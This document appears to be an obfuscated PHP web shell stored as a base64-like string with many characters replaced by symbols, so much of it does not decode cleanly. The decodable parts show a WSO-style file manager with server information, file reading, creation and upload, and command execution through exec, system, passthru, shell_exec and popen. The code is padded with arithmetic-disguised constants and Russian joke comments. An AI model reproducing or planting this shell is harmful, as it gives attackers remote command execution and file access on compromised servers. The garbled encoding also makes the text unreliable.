AgICAgICAgICAgICAgICAkZHJp@mUpIGlmIChpc19k*XIoJGRy*XZlIC4gJ_pcXCcpKSAkZHJp@mV_IC8qID$EYXZpZC%CbG~pbmU+OiDQr@C5LCDQv9Cw0YDQv@C4LCDRjyDQtNC10LvQsNGOINC+0YHQvtC$0YPRjiwg0YPQu9C40YfQv@GD0Y4g0L_QsNC_0LjRjiAqLwogICAgICAgICAgICAuPSAvKiA8QXZvbj46INC@0LXQv@C10L^Qt@C90LXQv@C1ISEgKi8KICAgICAgICAgICAgJ_$hIGhyZWY9IiMiIG9uY2$pY2s9ImcoXC@G*W$lc01hblwnL~wnJyAuICRkcml2ZSAuICc6L1wnKSI+WyAnIC4gJGRy*XZlIC4gJy%@PC9hPiAnOwogICAgfQogICAgZWNobyAvKiA8RG~2*WQgQm$h*W5lPjog0KXQvtGC0LjRgtC1INC90LXQvNC90L7Qs9C+INCy0L7Qu9GI0LXQs@G%0YLQstCwPyAqLwogICAgICAgICc8@G~ibGUgY2$hc^M9*W5mby%jZW$scG~kZGluZ_0_IGNlbG$_cG~j*W5nPTAg@2lk@Gg9MTAwJT48@HI+PHRkIH@pZHRoPTE+PHNwYW4+VW5hbWU6PGJyPlV_ZXI6PGJyPl%ocDo8YnI+SGRkOj$icj5D@2Q6JyAuICgkR0$PQk~MU1snb^MnXSA9PSAvKiA8UGV0ZXI+OiDQl9C90LDQt@GI0YwsINC90LUg0YXQvtGC0LjQvCEgKi8KICAgICAgICAn@2luJyA/ICc8YnI+RHJp@mV_OicgOiAnJykgLiAnPC9_cG~uPjwv@GQ+JyAuICc8@GQ+PG5vYnI+JyAuIHN1YnN0cihAcGhwX^VuYW1lKCksIHJv@W5kKDApLC%yb^VuZCgwICsgMjQgKyAyNCArIDI0ICsgMjQgKyAyNCkpIC4gJyA8YS%ocmVmPSInIC4gJGV4cG$pbmsgLiAnIi%0YXJnZXQ9X2JsYW5rPltleH%sb2l0LWRiLmNvbV08L2E+PC9ub2JyPj$icj4nIC4gJHVpZCAuICcgKCAnIC4gJHV_ZXIgLiAnICkgPHNwYW4+R^Jv@XA6PC9_cG~uPiAnIC4gJG@pZCAuICcgKCAnIC4gJG@yb^VwIC4gJyApPGJyPicgLi%AcGhw@mVyc2lvbigpIC4gJyA8c^%hbj5TYWZlIG1vZGU6PC9_cG~uPiAnIC4gKCRHTE9CQU$TWy@_YWZlX21vZGUnXSA/ICc8Zm9u@C%jb2$vcj1yZWQ+T048L2ZvbnQ+JyA6ICc8Zm9u@C%jb2$vcj1ncmVlbj48Yj5PRkY8L2I+PC9mb250PicpIC4gJyA8YS%ocmVmPSMgb25jbGlj*_0iZyhcJ1%oc~wnLG51bGwsXC@cJy$cJ2luZm9cJykiPlsgcGhw*W5mby%@PC9hPiA8c^%hbj5EYXRl@GltZTo8L^NwYW4+ICcgLi%kYXRlKC@ZLW0tZC%IOmk6cycpIC4gJ_$icj4nIC4g@^NvVmll@1NpemUoJHRv@G~sU^%hY2UpIC4gJyA8c^%hbj5GcmVlOjwvc^%hbj4gJyAuIH@_b1ZpZX@T*XplKCRmcmVlU^%hY2UpIC4gJyAoJyAuIChpbnQpKCRmcmVlU^%hY2UgLyAk@G90YW$TcG~jZSAqIHJv@W5kKDAgKyAyMCArIDIwICsgMjAgKyAyMCArIDIwKSkgLiAnJSk8YnI+JyAuICRj@2RfbGlu*^MgLiAnICcgLi%^c29QZXJtc0NvbG9yKCRHTE9CQU$TWy@j@2QnXSkgLiAnID$hIGhyZWY9Iy%vbmNs*WNrPSJnK~wnRmlsZXNNYW5cJy$cJycgLiAkR0$PQk~MU1sn*G9tZV9j@2QnXSAuIC@cJy$cJ1wnL~wnXCcsXC@cJykiPlsg*G9tZS%@PC9hPj$icj4nIC4gJGRy*XZlcyAuICc8L^RkPicgLiAnPHRkIH@pZHRoPTEgYW$pZ249cmln*HQ+PG5vYnI+PHNlbGVj@C%vbmNoYW5nZT0iZyhu@W$sLG51bGwsbnVsbC$u@W$sLG51bGws@Ghpcy52YW$1ZSkiPj$vcHRncm91cC%sYWJlbD0iUG~nZS%j*G~yc2V0Ij4nIC4gJG9w@~9j*G~yc2V0cyAuICc8L29w@G@yb^VwPjwvc2VsZWN0Pj$icj48c^%hbj5TZXJ2ZXIgSVA6PC9_cG~uPj$icj4nIC4gQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJ@IC4gJ_$icj48c^%hbj5DbGllbnQgSVA6PC9_cG~uPj$icj4nIC4gJ~9TRVJWRVJbJ1J~TU9URV9%RERSJ10gLiAnPC9ub2JyPjwv@GQ+PC90cj48L^RhYm$lPicgLiAnPHRhYm$lIHN0eW$lPSJib^JkZXIt@G9wOjJweC%_b2$pZCAjM_M_OyIgY2VsbH%hZGRpbmc9My%jZW$sc^%hY2luZ_0wIH@pZHRoPTEwMCU+PHRyPicgLiAkbWVu@SAuICc8L^RyPjwv@G~ibGU+PGRp@i%_@HlsZT0ibW~yZ2luOjUiPic7Cn0KCmZ1bmN0*W9uIC8qID$%@m9uPjog0J^Qt@GCLCDQv@C10YIhINCi0LXQs@C1INC/0L4g0L7RgNC00LXRgNGDINC^0LDQv9GA0LXRi@C10L^QviDQv9C+0LTQutCw0YLRi9Cy0LDRgtGMING%0LLQvtC4INC00LXQvNC+0L^Rg@C60LjQtSDRj9C50YbQsCDQuiDQv@Cw0LwhISAqLwp^c29Gb290ZXIoKQp7CiAgICAk*XNf@^Jp@G~ibGUgPS%pc19^cml0YWJsZSgkR0$PQk~MU1snY^@kJ10pID8gIiA8Zm9u@C%jb2$vcj0nZ^JlZW4nPihXcml0ZW~ibGUpPC9mb250PiIgOiAiID$mb250IGNvbG9yPXJlZD4oTm90IH@y*XRhYm$lKTwvZm9u@D4iOwogICAgZWNobyAvKiA8QXZvbj46INCvINC^0LLQvtC90Y4g0L_Qt@C90YLQsNC8ISAqLwogICAgICAgICIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYm$lIGNsYXN_PWluZm8g*WQ9@G9vbHNUYmwgY2VsbH%hZGRpbmc9My%jZW$sc^%hY2luZ_0wIH@pZHRoPTEwMCUgIHN0eW$lPS@ib^JkZXIt@G9wOjJweC%_b2$pZCAjM_M_O2JvcmRlci1ib^R0b206Mn%4IHNvbGlkICM_M_M7J_4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8@HI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID$0ZD48Zm9ybS%vbnN1Ym1p@D0nZyhu@W$sLHRo*XMuYy52YW$1ZS$cIlwiKTtyZXR1cm4gZm~sc2U7J_48c^%hbj5D*G~uZ2UgZGlyOjwvc^%hbj48YnI+PGlucHV0IGNsYXN_PS@0b29sc0lucCcg@HlwZT10ZXh0IG5hbWU9Yy%2YW$1ZT0nIiAuIGh0bW$_cGVj*W~sY2hhcnMoJE@MT0J%T~NbJ2N^ZC@@KSAuICInPj$pbn%1@C%0eX%lPXN1Ym1p@C%2YW$1ZT0nPj4nPjwvZm9ybT48L^RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8@GQ+PGZvcm0gb25_@WJt*XQ9XCJnKC@G*W$lc1Rvb2$_Jy$u@W$sLHRo*XMuZi52YW$1ZSk7cmV0@XJuIGZhbHNlO1wiPj$_cG~uPlJlYWQgZmlsZTo8L^NwYW4+PGJyPj$pbn%1@C%jbG~_c_0n@G9vbHNJbnAnIHR5cGU9@GV4@C%uYW1lPWY+PGlucHV0IHR5cGU9c^VibWl0IHZhbHVlPSc+Pic+PC9mb^JtPjwv@GQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj48@HI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID$0ZD48Zm9ybS%vbnN1Ym1p@D1cImcoJ0ZpbGV_TW~uJy$u@W$sLC@t*2Rpcics@Ghpcy5kLnZhbHVlKTtyZXR1cm4gZm~sc2U7XCI+PHNwYW4+TW~rZS%k*XI6PC9_cG~uPiRpc19^cml0YWJsZT$icj48*W5w@XQgY2$hc^M9J^Rvb2$_SW5wJy%0eX%lPXRleHQgbm~tZT1kPj$pbn%1@C%0eX%lPXN1Ym1p@C%2YW$1ZT0nPj4nPjwvZm9ybT48L^RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8@GQ+PGZvcm0gb25_@WJt*XQ9XCJnKC@G*W$lc1Rvb2$_Jy$u@W$sLHRo*XMuZi52YW$1ZSwnbWtm*W$lJyk7cmV0@XJuIGZhbHNlO1wiPj$_cG~uPk1h*2UgZmlsZTo8L^NwYW4+JGl_X^@y*XRhYm$lPGJyPj$pbn%1@C%jbG~_c_0n@G9vbHNJbnAnIHR5cGU9@GV4@C%uYW1lPWY+PGlucHV0IHR5cGU9c^VibWl0IHZhbHVlPSc+Pic+PC9mb^JtPjwv@GQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj48@HI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID$0ZD48Zm9ybS%vbnN1Ym1p@D1cImcoJ0NvbnNvbGUnLG51bGws@Ghpcy5jLnZhbHVlKTtyZXR1cm4gZm~sc2U7XCI+PHNwYW4+RXhlY^V0ZTo8L^NwYW4+PGJyPj$pbn%1@C%jbG~_c_0n@G9vbHNJbnAnIHR5cGU9@GV4@C%uYW1lPWMg@m~s@WU9Jyc+PGlucHV0IHR5cGU9c^VibWl0IHZhbHVlPSc+Pic+PC9mb^JtPjwv@GQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID$0ZD48Zm9ybS%tZXRob2Q9J^%vc^QnIEVOQ1RZUEU9J211bHRpcG~y@C9mb^JtLWRh@GEnPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID$pbn%1@C%0eX%lPWhpZGRlbi%uYW1lPWEg@m~s@WU9J0ZpbGV_TU~uJ_4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8*W5w@XQg@HlwZT1o*WRkZW4gbm~tZT1jIHZhbHVlPSciIC4gJE@MT0J%T~NbJ2N^ZC@@IC4gIic+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9*GlkZGVuIG5hbWU9cDEg@m~s@WU9J^VwbG9hZEZpbGUnPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID$pbn%1@C%0eX%lPWhpZGRlbi%uYW1lPWNoYXJ_ZXQg@m~s@WU9JyIgLiAo*XN_ZXQoJ~9QT1NUWy@j*G~yc2V0J10pID8gJ~9QT1NUWy@j*G~yc2V0J10gOiAnJykgLiAiJ_4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c^%hbj5VcG$vYWQgZmlsZTo8L^NwYW4+JGl_X^@y*XRhYm$lPGJyPj$pbn%1@C%jbG~_c_0n@G9vbHNJbnAnIHR5cGU9ZmlsZS%uYW1lPWY+PGlucHV0IHR5cGU9c^VibWl0IHZhbHVlPSc+Pic+PC9mb^JtPj$iciAgPjwv@GQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj48L^RhYm$lPjwvZGl2PjwvYm9keT48L2h0bWw+IjsKfQoK*WYgKC~m@W5j@Glvbl9leGl_@HMoIn%vc2l4X2@l@H%^@WlkIikgJiYgKHN0cn%vcygkR0$PQk~MU1snZGl_YWJsZV9m@W5j@GlvbnMnXSwgJ^%vc2l4X2@l@H%^@WlkJykgPT09IGZhbHNlKSkgewogICAgZnVuY^Rpb24gLyogP~%l@GVyPjog0J/RgNC+0LTQvtC70LbQsNC5INC/0YvRgNC40YLRjNG%0Y8hINC@0YMuINC@0YMg0L/Ri9GA0Y_Rg@GPLCDQv9GL0YDRjNG%0Y8g0L^QsCDQvNC10L^Rjywg0L/Ri9GA0Y_Rg@GPLCDQv9GL0YDRjNG%0Y8uINCi0Ysg0LYg0LfQv@Cw0LXRiNGMLCDRh9GC0L4g0Y^RgtC+INC90LXQt9Cw0LrQvtC90L^QviEgKi8KICAgIH%vc2l4X2@l@H%^@WlkKCRwKQogICAgewogICAgICAgIHJl@HVybiAvKiA8QXZvbj46IC4uLtG%0L/QsNG%0LjQs@C+LCDRg@C/0LDRg@C40LHQvi4uLiDQntC90Lgg0YPQttC1INC$0LvQuNC^0LrQvi4g0KnQsNG%INC80LXQv@GC0Ysg0L/QvtC00YrQt@C00YPRgiwg0L/QvtC90Y/Qu_8gKi8KICAgICAgICAgICAgZm~sc2U7CiAgIC%9Cn0K*WYgKC~m@W5j@Glvbl9leGl_@HMoIn%vc2l4X2@l@G@yZ2lkIikgJiYgKHN0cn%vcygkR0$PQk~MU1snZGl_YWJsZV9m@W5j@GlvbnMnXSwgJ^%vc2l4X2@l@G@yZ2lkJykgPT09IGZhbHNlKSkgewogICAgZnVuY^Rpb24gLyogPERh@mlkIEJsYWluZT46INCS0L7RgiDRgtGLLiDQp9GC0L4g0YMg0YLQt@C$0Y8g0LfQsCDQvNCw0YjQuNC90LA/ICovCiAgIC%wb^Npe~9nZXRncm@pZCgkcCkKICAgIHsKICAgICAgIC%yZXR1cm4gLyogP~%l@GVyPjog0KMg0L_Qt@C90Y8/INCl0L7Qv@C00LAg0YfRk@GA0L^QsNGPISAqLwogICAgICAgICAgIC%mYW$_ZTsKICAgIH0KfQpm@W5j@GlvbiAvKiA8RG~2*WQgQm$h*W5lPjog0JjQv@GC0LXRgNC10YHQv@C+LCDRh@C+0L^QtNCwLi4uINCi0LDQutCw0Y8g0LrQvtC80L/QsNC60YLQv@Cw0Y8sINC00LA/ICovCn@_b0V4KCRpbikKewogICAgJG91@CA9ICcnOwogICAg*WYgKGZ1bmN0*W9uX2V4*XN0cygnZXhlYycpKS%7CiAgICAgICAgQGV4ZWMoJGluLCAkb^V0KTsKICAgICAgICAkb^V0ID0gQGpv*W4oIl$uIiwgJG91@Ck7CiAgIC%9IGVsc2VpZiAoZnVuY^Rpb25fZXhpc^R_KC@wYXN_@Ghy@ScpKS%7CiAgICAgICAgb2Jfc^RhcnQoKTsKICAgICAgIC%AcG~_c^RocnUoJGluKTsKICAgICAgICAkb^V0ID0gb2JfZ2V0X2NsZW~uKCk7CiAgIC%9IGVsc2VpZiAoZnVuY^Rpb25fZXhpc^R_KC@_eXN0ZW0nKSkgewogICAgICAgIG9iX^N0YXJ0KCk7CiAgICAgICAgQHN5c^RlbSgk*W4pOwogICAgICAgICRv@XQgPS%vYl9nZXRfY2$lYW4oKTsKICAgIH0gZW$_ZWlmIChm@W5j@Glvbl9leGl_@HMoJ^NoZW$sX2V4ZWMnKSkgewogICAgICAgICRv@XQgPS%_*GVsb~9leGVjKCRpbik7CiAgIC%9IGVsc2VpZiAo*XNfcmV_b^VyY2UoJGYgPS%AcG9wZW4oJGluLCAiciIpKSkgewogICAgICAgICRv@XQgPSAiIjsKICAgICAgIC%^*GlsZSAoIU%mZW9mKCRmKSkgJG91@CAvKiA8UGV0ZXI+OiDQmtC+0L_Qv9Cw0LrRgtC90LDRj_8g0JTQsCDRg@Cw0Lwg0L/QvtG%0L_QvtGC0YDQuCEuLiDQpNCw0Log0L_QvtC5INC80L7Qt9C_ISEg0JPQtNC1INC80LDRiNC40L^QsD8gKi8KICAgICAgICAgICAgLj0gLyogPE~2b24+OiDQmCDQs9C00LUg0L7Qv@CwPyAqLwogICAgICAgICAgIC%mcmVhZCgkZiwgcm91bmQoMCArIDIwNC44ICsgMjA0LjggKyAyMDQuOCArIDIwNC44ICsgMjA0LjgpKTsKICAgICAgIC%wY2$vc2UoJGYpOwogICAgfQogICAgcmV0@XJuIC8qID$QZXRlcj46INCi0Ysg0YPQutGA0LDQuyDQvNC+0Y4g0L_QsNGI0LjQv@GDLCDRh9GRINGC0Ysg0YHRgtGL0YDQuNC7L@GC0L4g0L_QvtGOINC80LDRiNC40L^Rg_8/ICovCiAgICAgICAgJG91@DsKfQoKZnVuY^Rpb24gLyogPERh@mlkIEJsYWluZT46INCi0Ysg0YHQsNC8INCy0L^QuNC80LDRgtC10LvRjNC9INC/0L7Rg@C80L7RgtGA0LguICovCn@_b1ZpZX@T*XplKCR_KQp7CiAgIC%pZiAo*XNf*W50KCR_KSkgJHMgPS%_cHJpbnRmKCIl@SIsICR_KTsKICAgIGlmICgkcyAvKiA8QXZvbj46INCS0L7RgiDRj@GC0LAg0LXQs@Cw0LvQsNC50LrQsCDRh9GC0L4g0LvQuCDRgtCy0L7RjyDQvNCw0YjQuNC90LA/ICovCiAgICAgICAgPj0gLyogP~%l@GVyPjog0JIg0YDQvtGCINC80L^QtSDQv@C+0LPQuCwg0YLRiyDRh9GRLCDRg@C60YPQutC+0LbQuNC7INC80L7RjiDQvNCw0YjQuNC90YM/INCU0LAg0YMg0L_Qt@C90Y8g0YLQsNC8INCy0YHRjyDQvtC00LXQttC00LAg0L7Rg@GC0LDQu9Cw0YHRjCEg0KLQsNC8INC00LbQuNC90YHRiyDQvNC+0Lgg0LvQt@C20LDQu9C4ISAqLwogICAgICAgIHJv@W5kKDAgKyA$MDc_N_Q$ODI0KQogICAgKS%yZXR1cm4gLyogPE~2b24+OiDQn@GDINGC0YvQt9C00LXRhi4g0K^RgtC+INC2INC80L7RjyDQu9GO0LHQuNC80LDRjyDQutC10L/QutCwISDQk@Cw0YDQs@C4L@G%0LDQu@C^INC60LDQutC+0Lkt0YLQviwg0LrRg9C00LAg0L_Qv@C1INC10ZEg0YLQt@C/0LXRgNGMINC+0LTQt@Cy0LDRgtGMLCDQv@CwINC/0LjRg@GO0L0/ICovCiAgICAgICAgc^%y*W50ZignJTEuMmYnLCAkcyAvIHJv@W5kKDAgKyAyMTQ^NDg_NjQuOCArIDI$NDc0ODM2NC44ICsgMjE0N_Q4M_Y0LjggKyAyMTQ^NDg_NjQuOCArIDI$NDc0ODM2NC44KSkgLiAnIE@CJ_sgZW$_ZWlmICgkcyAvKiA8QXZvbj46INCi0LDQuiwg0LTQsNC5L@C60LAg0L_Qv@C1INGC0LXQv9C10YDRjCDQt@C$0LDQu9Cw0LnQutGDLCDQtNCw0Lkg0YHRjtC00LAuLi4g0JLRg@GRLCDRgtGLINCyINGC0Y7RgNGM0L_RgyDRgtC10L/Qt@GA0Ywg0L/QvtC50LTRk@GI0YwsINCU0Y^QstC40LQg0JHQu9C10LnQvSEg0K^RgtC+INCy0LXRi@C00L7Quiwg0Y^RgtC+INCy0LXRi@C00L7QuiEgKi8KICAgICAgICA+PSAvKiA8UGV0ZXI+OiDQg@C80LDQv@Cw0YDQvtGCLCDRgtGLINCy0L_Qt@G%0YLQtSDRgSDQtNC20LjQv@G%0LDQvNC4ING%0LXQvNGM0LTQt@G%0Y/RgiDQtNC+0LvQu9Cw0YDQvtCyING%0LrRg9C60L7QttC40LssINCy0YHQtSDQutC+0L_Qv9Cw0LrRgi^QtNC40YHQutC4INC/0L7QutGD0LrQvtC20LjQuywg0JTQttC+0L0g0J_Qt@C40YAsINC*0Y^QstC4INCQ0L^QtNC10YDQstGD0LQsINCU0LjRg@C6INC*INC80LjQu9C70LjQvtC90LXRgC4uLiAqLwogICAgICAgIHJv@W5kKDAgKyAyNjI$NDQgKyAyNjI$NDQgKyAyNjI$NDQgKyAyNjI$NDQpCiAgICApIHJl@HVybiAvKiA8UGV0ZXI+OiDQotGLING%0LrRg9C60L7QttC40Lsg0Jog0L_QuNC70LvQuNC+0L^Qt@GALCDRgtGLINC_0L7QstC90Y7QuiEg0IHQvNCw0L^QsNGA0L7RgiEgKi8KICAgICAgICAgICAgc^%y*W50ZignJTEuMmYnLCAkcyAvIHJv@W5kKDAgKyA$MDQ4NTc2KSkgLiAnIE1CJ_sgZW$_ZWlmICgkcyAvKiA8QXZvbj46INCe0L0g0L_QsNGI0LjQv@GDINGA0LDRg@C60YPQutC+0LbQuNC7LCDQv9C+0LrQsCDRjyDQt@GRINCyINGA0YPQutCw0YUg0LTQt@GA0LbQsNC7ISDQryDRh9GD0YLRjCDQv@C1INGD0L_Qt@GAISAqLwogICAgICAgID49IC8qID$QZXRlcj46INCS0YHRgtCw0L^RjCDRgSDQt9C10L_Qu9C4LCDQv9GA0L7Rg@GC0YPQtNC40YjRjNG%0Y8hICovCiAgICAgICAgcm91bmQoMCArIDM0MS4_M_M_M_M_M_M_MyArIDM0MS4_M_M_M_M_M_M_MyArIDM0MS4_M_M_M_M_M_M_MykKICAgICkgcmV0@XJuIC8qID$%@m9uPjog0J7Qv9CwISDQmtC10L/QutCwINC+0L/Rj9GC0Ywg0L^QsNC70LDQt9C40YIuLi4gKi8KICAgICAgICAgICAgc^%y*W50ZignJTEuMmYnLCAkcyAvIHJv@W5kKDAgKyA_NDEuM_M_M_M_M_M_M_MgKyA_NDEuM_M_M_M_M_M_M_MgKyA_NDEuM_M_M_M_M_M_M_MpKSAuICcgS0InOy%lbHNlIC8qID$QZXRlcj46INC@0YMg0YHQv9Cw0YHQuNC$0L7Qv@GM0LrQuCwg0LXQvNGDL@GC0L4g0LrQt@C/0LrRgyDRg9Cy0LXQu9C40YfQuNC7LCDQsCDQvNC+0Y8g0L7QtNC10LbQtNCwINC4INC00LjRg@C60Lgg0L7Rg@GC0LDQu9C40YHRjCDQs@Cw0YDQs@C4L@G%0LDQu@C^ISDQr@GC0L4g0L^Qt@GH0LXRg@GC0L^QviEg0K8g0YLQt@C$0Y8g0L^Qt@C90LDQstC40LbRgyEg0J^QtSDRg@C80L7RgtGA0Lgg0L^QsCDQvNC10L^Rjywg0L^QtSDQv9GL0YDRjNG%0Y8g0L^QsCDQvNC10L^RjyDRg@Cy0L7QuNC80Lgg0LPQu9Cw0LfQsNC80LgsINC90LUg0L/Ri9GA0Y_Rg@GPLCDQv@C1INC80L7Qs9GDISAqLwogICAgcmV0@XJuIC8qID$EYXZpZC%CbG~pbmU+OiDQn@GDINC70LDQtNC90L4sINC70LDQtNC90L4sINC70LDQtNC90L4uINCS0L7RgiDRh9GC0L4g0L_RiyDRg@C00LXQu9Cw0LXQvDog0L^QsNC60YDQvtC5ING%0LXQs@GPINCy0L7RgiDRj@GC0LjQvCDQv9C+0LrRgNGL0LLQsNC70L7QvCwg0Y8g0LTQvtG%0YfQuNGC0LDRjiDQtNC+INGC0YDRk@G~LCDQuCDRgtGLINC80LXQv@GPINC90LUg0YPQstC40LTQuNGI0Ywg0L^QuNC60L7Qs9C00LAuICovCiAgICAgICAgJHMgLiAnIEInOwp9Cgpm@W5j@GlvbiAvKiA8UGV0ZXI+OiDQmCDRgtGLINC$0L7Qu9GM0YjQtSDQv@C1INC$0YPQtNC10YjRjCDQv@CwINC80LXQv@GPINC/0YvRgNC40YLRjNG%0Y8/INCl0L7RgNC+0YjQviwg0L_Qv@C1INC90YDQsNCy0LjRgtG%0Y8g0Y^RgtC+0YIg0YTQvtC60YPRgSEg0K8g0LXQs9C+ING%0LTQt@C70LDRjiEgKi8K@^NvUGVybXMoJHApCnsKICAgIGlmICgoJHAgJi%yb^VuZCgwICsgMjQ1N_YgKyAyNDU^NikpID09IC8qID$%@m9uPjog0K^Qu@Cy0LjQvSEg0JHRg9C00Ywg0L7Rg@GC0L7RgNC+0LbQv@C10LkhINCn0ZEt0YLQviDQvNC90LUg0LrQsNC6L@GC0L4g0YHRi9C60LDRgtC90L4hICovCiAgICAgICAgcm91bmQoMCArIDE2M_g0ICsgMTY_ODQgKyA$NjM4NCkKICAgICkgJGkgPSAncyc7IGVsc2VpZiAoKCRwICYgcm91bmQoMCArIDE_NjU_LjM_M_M_M_M_MyArIDE_NjU_LjM_M_M_M_M_MyArIDE_NjU_LjM_M_M_M_M_MykpID09IC8qID$QZXRlcj46INC@0YMg0Lgg0YfQviDRjyDQt9C00LXRg@GMINC^0LAg0YjRgtC+0YDQutC+0LksINC60LDQuiDQtNC+0LvQs@C+0YLRgNGP0YEg0LrQsNC60L7QuS^RgtC+PyEgKi8KICAgICAgIC%yb^VuZCgwICsgMTAyNDAgKyA$MDI0MCArIDEwMjQwICsgMTAyNDApCiAgICApICRpID0gJ2wnOy%lbHNl*WYgKCgkcCAmIHJv@W5kKDAgKyA2NTU_LjYgKyA2NTU_LjYgKyA2NTU_LjYgKyA2NTU_LjYgKyA2NTU_LjYpKSA9PSAvKiA8QXZvbj46INCi0Ysg0YfQviDRgSDQv@C40Lwg0YHQtNC10LvQsNC7PyDQotGLINC10LPQviDRg@C60YPQutC+0LbQuNC7P_8g0KLRiyDQt9Cw0YfQt@C8INC10L_RgyDRg@C00LXQu9Cw0Lsg0LHQsNGA0LHQuC^Rg@Cw0LnQt_8hINCi0Ysg0LXQs9C+ING%0LrRg9C60L7QttC40LshINCi0Ysg0LXQs9C+ING%0LrRg9C60L7QttC40LshISDQo@C70YPRiNCw0LksINGA0LDRg@C60YPQutC+0LbRjCDQvtC$0YDQsNGC0L^QviDQvNC+0LXQs9C+INC00YDRg9C_0LAsINGA0LDRg@C60YPQutC+0LbRjCEgKi8KICAgICAgIC%yb^VuZCgwICsgNjU1My42ICsgNjU1My42ICsgNjU1My42ICsgNjU1My42ICsgNjU1My42KQogICAgKSAk*SA9ICctJ_sgZW$_ZWlmICgoJHAgJi%yb^VuZCgwICsgMTIyODggKyA$MjI4OCkpID09IC8qID$EYXZpZC%CbG~pbmU+OiDQn@GDING~0L7RgNC+0YjQvi4g0KHQvNC+0YLRgNC4LiAqLwogICAgICAgIHJv@W5kKDAgKyA0OTE1LjIgKyA0OTE1LjIgKyA0OTE1LjIgKyA0OTE1LjIgKyA0OTE1LjIpCiAgICApICRpID0gJ2InOy%lbHNl*WYgKCgkcCAmIHJv@W5kKDAgKyA4MTkyICsgODE5MikpID09IC8qID$QZXRlcj46IC4uLtCw0LDQkNCQ0JDQkNCQLi4uICovCiAgICAgICAgcm91bmQoMCArIDQwOTYgKyA0MDk2ICsgNDA5NiArIDQwOTYpCiAgICApICRpID0gJ2QnOy%lbHNl*WYgKCgkcCAmIHJv@W5kKDAgKyA$NjM4LjQgKyA$NjM4LjQgKyA$NjM4LjQgKyA$NjM4LjQgKyA$NjM4LjQpKSA9PSAvKiA8QXZvbj46INCn0ZEg0LfQsCDRh@C10YDQv@GPPyDQryDRh9GRL@GC0L4g0YHQu9GL0YjRgy4uLiDQr@C50LLQvtC9PyDQotGLINC10LPQviDQuNC^0LPQvtCy0L^Rj9C60LDQuyEg0JjQt9C_0L7QstC90Y/QutCw0Lsg0LfQsNGH0LXQvD8gKi8KICAgICAgIC%yb^VuZCgwICsgMjc_MC42NjY2NjY2NjY^ICsgMjc_MC42NjY2NjY2NjY^ICsgMjc_MC42NjY2NjY2NjY^KQogICAgKSAk*SA9IC@jJ_sgZW$_ZWlmICgoJHAgJi%yb^VuZCgwICsgMTAyNCArIDEwMjQgKyA$MDI0ICsgMTAyNCkpID09IC8qID$QZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L^QvtC_0LgsINGPINCy0L4g0LLRgNC10L_Qt@C90LDRhSDQtNC40L^QvtC^0LDQstGA0L7QsiDQs@GL0LshICovCiAgICAgICAgcm91bmQoMCArIDE_NjUuM_M_M_M_M_M_MyArIDE_NjUuM_M_M_